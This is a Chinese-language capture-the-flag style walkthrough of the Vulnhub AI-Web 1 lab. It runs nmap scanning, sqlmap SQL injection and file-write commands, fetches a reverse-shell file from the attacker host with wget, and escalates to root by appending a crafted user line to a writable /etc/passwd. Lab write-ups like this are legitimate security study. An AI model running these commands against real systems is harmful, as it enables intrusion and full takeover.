Vulnhub--Ai-Web1
环境准备
直接下载靶机然后解压,VMware上运行vmx文件就行,靶机链接
运行靶机会有要密码登录,别管就行,因为渗透已经开始了!!
开始打靶
使用netdiscover扫描ip
挨个访问,最终发现192.168.75.132这个IP可疑
nmap扫描一下这个IP 查看开放端口
1 | nmap -T4 -sV -O -A -P 192.168.75.132 |
可以看到80端口开放也就是我们一开始访问的那个页面,直接扫一下目录
存在一个robots.txt
emmmm,两个都是403,然后对着这个两个路径扫一下,扫到一个http://192.168.75.132/m3diNf0/info.php
网站的绝对路径,然后扫另一个http://192.168.75.132/se3reTdir777
这里一开始扫的uploads但是没有东西然后就扫了这个,看wp有的是用的kali下的dirb,涨姿势了以前都不知道这个工具
访问index.php,中途断开连接了还以为是题目的设定。。。访问得到下面的表单
sql注入
使用1'
探测是否存在sql注入,发现报错
然后使用1'#
正常sql注入没跑了
抓个包得到参数,因为是post注入直接保存一下这个包然后丢sqlmap先跑一下,毕竟不是ctf题应该能跑出来python sqlmap.py -r "E:\vuluhub靶场\AI Web 1.0\做题\1.txt" -p uid --dbs
执行命令直接跑,跑的时候手工测了一下发现union没法注因为没有回显,然后发现存在延时注入,果然sqlmap一开始没注出来python sqlmap.py -r "E:\vuluhub靶场\AI Web 1.0\做题\1.txt" -p uid --technique=T --dbs
1 | sqlmap指定注入类型 |
这两种方式都没注出来。。。看看wp怎么注的吧sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --dbs
好吧,直接指定参数注
emmm,kali下的sqlmap这么快的吗,一直用的Windows下的,看看aiweb1sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --tables -D aiweb1
看字段sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --columns -D aiweb1 -T user
没啥东西,直接拿shell吧sqlmap -u "http://192.168.75.132/se3reTdir777/index.php#" --data "uid=1&Operation=Submit" --os-shell
下面的2为自定义上传路径结合我们刚刚得到的绝对路径就能知道马的位置,通过下面的操作能知道权限,不知道为什么whoami命令没有输出,难道没有??
知道绝对路径那就写个一句话木马进入,sqlmap的马蚁剑连不上
1 | sqlmap -u "http://192.168.75.132/se3reTdir777" --data "uid=1&Operation=Submit" --file-write ./2.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php |
这里不知道为什么一样的命令wp能上传上去我不行,既然一句话传不上去那就直接尝试反弹shell
反弹shell
准备一个反弹shell的php文件,,IP为kali IP
1 |
|
利用python搭建一个简易的web服务,这里python内置了模块只需要执行命令就行,下面为python3环境
1 | python -m http.server 9999 |
然后就会在页面显示当前目录的文件,如果有默认的index.html文件就会优先显示,这里又有个坑就是我文件放在桌面它不显示,不知道为什么
然后在靶机上使用wget下载shell文件
建立监听,然后在靶机上运行shell.php
这里一次没成功多试几下就行,查看权限为www-data,下面开始提权
提权
执行命令ls -l /etc/passwd
可以看到当前用户对etc/passwd文件具有rw(读写)权限
写入的时候密码是加密的,所以要先加密密码: openssl passwd -1 -salt web1 123456
然后写入密码echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash' >>/etc/passwd
直接切换用户会报错
转换为交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'
可以看到权限已经是root了,flag在root目录下
第一次做这种靶场还挺有意思